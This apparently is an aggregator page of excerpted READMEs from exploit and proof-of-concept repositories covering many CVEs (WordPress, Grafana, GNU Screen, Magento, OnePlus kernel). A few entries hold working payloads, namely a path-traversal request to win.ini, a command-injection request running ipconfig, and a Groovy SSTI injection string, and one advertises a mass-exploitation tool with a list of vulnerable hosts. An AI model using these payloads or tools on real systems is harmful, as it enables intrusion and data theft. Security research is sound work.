GhostLock-for-OnePlus

GhostLock — OnePlus Kernel exploit targeting locked-bootloader OnePlus devices. Uses CVE-2026-43499 to obtain root access without unlocking the bootloader or modifying boot.img. Authorized security research and educational purposes only. Table of Contents Vulnerability Overview Supported Devices...

CVE-2026-20253

Splunk Enterprise — CVE-2026-20253 Training Lab Splunk Enterprise 10.2.3 · PostgreSQL recovery sidecar · CWE-306 Missing Authentication for Critical Function An authorized, self-contained reproduction that models the real advisory for defensive education. It does not ship Splunk's proprietary cod...

BadBlue

BadBlue Windows CVE-2024-21306 implementación de BadBlue usando DuckyScript Emparejamiento no autenticado que conduce a la ejecución de código usando teclado HID Esta es una implementación del CVE descubierto por marcnewlin Y algo de código de BlueDucky Introducción BadBlue es una herramienta...

wp2shell

CVE-2026-63030 + CVE-2026-60137 - "wp2shell": RCE no autenticado en el núcleo de WordPress Confusión de rutas del lote de la API REST CVE-2026-63030 encadenada con una inyección SQL enWPQuery authornotin CVE-2026-60137 → ejecución remota de código pre-autenticación contra una instalación...

CVE-2017-5618-Screen-4.5.0-Root

GNU Screen 4.5.0 Local Privilege Escalation Exploit CVE-2017-5618 📌 Overview Local privilege escalation exploit for GNU Screen 4.5.0 that hijacks shared library loading to gain root access via ld.so.preload manipulation. 🔧 Technical Details Vulnerability: CVE-2017-5618 Type: Shared Library...

SecGen

EL DESARROLLO SE HA MOVIDO A http://github.com/cliffe/SecGen/, ¡ESTE REPO NO SE MANTIENE Y PROBABLEMENTE NO FUNCIONARÁ! Generador de Escenarios de Seguridad SecGen Resumen SecGen crea máquinas virtuales vulnerables para que los estudiantes puedan aprender técnicas de pruebas de penetración en...

Parsero

What's Parsero? Parsero is a free script written in Python which reads the Robots.txt file of a web server and looks at the Disallow entries. The Disallow entries tell the search engines what directories or files hosted on a web server mustn't be indexed. For example, "Disallow: /portal/login"...

android-locdump

Following the latest days internet outrage/overreaction to the revelation that iPhone has a cache for its location service, I decided to have look what my Android devices caches for the same function. This is a quick dumper I threw together to parse the files from the Android location provider. T...

Log4Shell-PoC-Application

☕ Aplicación PoC de Log4Shell Aplicación web basada en Spring framework para prueba de concepto de vulnerabilidades log4shell Instalación y Ejecución !Important Se requiere JDK 1.8 8u131 en desarrollo para lanzar este proyecto Use el Dockerfile proporcionado para compilar y ejecutar la imagen...

CVE-2020-15215-Discord-POC

Discord Electron ISO 边界验证概念验证 范围 本仓库是一个概念验证测试平台，用于 Discord 风格桌面架构中的 Electron 边界加固。它模拟了渲染进程/主进程分离、预加载桥接策略、IPC 通道暴露、导航控制以及运行时监管，以研究错误配置如何削弱应用程序的隔离保障。 相关参考案例详情追踪于： https://bugbounty.com/211356433 漏洞背景 案例研究基于 2020 年 Discord 桌面应用漏洞链，涉及 Electron CVE-2020-15215（上下文隔离绕过）和...

CVE-2025-4396

CVE-2025-4396 - WordPress Relevanssi 基于时间延迟的盲SQL注入工具包 概述 本仓库包含一个针对 CVE-2025-4396 的实践研究与验证工具包，该漏洞是一个未认证的基于时间延迟的盲SQL注入 ，影响 WordPress Relevanssi 插件中的 cats 参数。 该项目专为授权的紫队演习 而构建，旨在： 在受控环境中验证漏洞的可利用性， 展示不同攻击者战术层级， 衡量SOC检测覆盖率， 以逼真的方式提取WordPress密码哈希， 并在哈希恢复后自动化离线破解流程。 本仓库包含： 一个标准提取脚本 ， 一个更快的二分搜索提取脚本 ，...

CVE-2022-23222-POC

CVE-2022-23222 的概念验证利用代码 这是 CVE-2022-23222 的概念验证代码，这是一个本地权限提升漏洞。 该 POC 针对 Ubuntu 20.04 内核版本 5.13.0-27-generic 编写，但其他内核版本也存在漏洞。 关于该利用的详细分析，请阅读我们的文章。 使用方法 确保已安装 libbpf，因为它是利用代码的依赖项。 要编译 POC，请运行以下命令： root@kitploit: make 要执行利用代码，请运行以下可执行文件： root@kitploit: ./exploit + eBPF enabled, ringbuf created! !...

CVE-2017-2370

0x00.前言 这次提权利用的是machvoucherextractattrrecipetrap存在的一个漏洞，而利用方法的核心就是通过MACHMSGOOLPORTSDESCRIPTOR消息。 关于machmsg ool简单来说当发送一个包含ool descriptor的msg时，内核会将指定的数据从用户空间复制到内核空间，并且内核会一直保持这部分数据，直到目标 task 处理了消息。同样，当目标进程接收一个包含ool descriptor的消息时，内核会将数据从内核空间复制到用户空间（不一定是真正的复制）。因此可以利用这个技术点向内核堆中写入数据或者从内核读取数据。...

CVE-2021-43798

CVE-2021-43798:Grafana 任意文件读取漏洞 添加了 Windows+Linux 全版本识别的 nuclei 模板 52个插件列表： root@kitploit: live icon loki text logs news stat mssql mixed mysql tempo graph gauge table debug zipkin jaeger geomap canvas grafana welcome xychart heatmap postgres testdata opentsdb influxdb barchart annolist bargauge...

CVE-2024-32399

CVE-2024-32399 漏洞概述 RaidenMAILD邮件服务器v4.9.4及之前版本中存在目录遍历漏洞，允许远程攻击者通过/webeditor/组件获取敏感信息。 漏洞类型 目录遍历 厂商 RaidenMAILD邮件服务器 受影响版本 RaidenMAILD邮件服务器 = 4.9.4 漏洞利用验证（PoC） 请求： root@kitploit: GET /webeditor/../../../windows/win.ini HTTP/1.1 Host: 127.0.0.1:81 Cache-Control: max-age=0 Connection: close 响应：...

CVE-2022-21445

Exploit CVE-2022-21445 - PoC Este kit de herramientas genera payloads de exploit para CVE-2022-21445, una vulnerabilidad crítica de deserialización de Java que afecta a Oracle WebLogic Server 12.2.1.x que ejecuta Oracle ADF Faces. La falla existe en el componente RemoteApplicationResourceLoader y...

Mohnad-AL-saif-CVE-2020-11107-XAMPP-Local-Privilege-Escalation

🧨 CVE-2020-11107 – XAMPP 本地权限提升 Windows 📌 概述 CVE-2020-11107 是一个影响 Windows 上 Apache Friends XAMPP 的 本地权限提升 LPE 漏洞。 非特权用户可以修改 XAMPP 控制面板配置文件 xampp-control.ini，并将默认编辑器可执行文件 notepad.exe 替换为恶意可执行文件。 当另一个用户（例如管理员）通过控制面板打开日志时，恶意二进制文件会以受害者的权限 执行，从而导致权限提升 。 ❗ 该漏洞不 影响 Linux 或 macOS。 🎯 受影响版本 XAMPP 7.2.29...

CVE-2024-31982

CVE-2024-31982 Java SSTI - 导致 RCE root@kitploit: async async=falsegroovyprintln"Successful Injection"/groovy/ root@kitploit: GET...

CVE-2024-23692

CVE-2024-23692 PoC de BURP root@kitploit: GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 Exploitation tool written in Python 3 compatible with lists of URL/IPs. This download includes a list of over 334,300 potentially vulnerable hosts according to shodan.io and personal scans. This tool is NOT free to prevent abuse. As of now patches are being appli...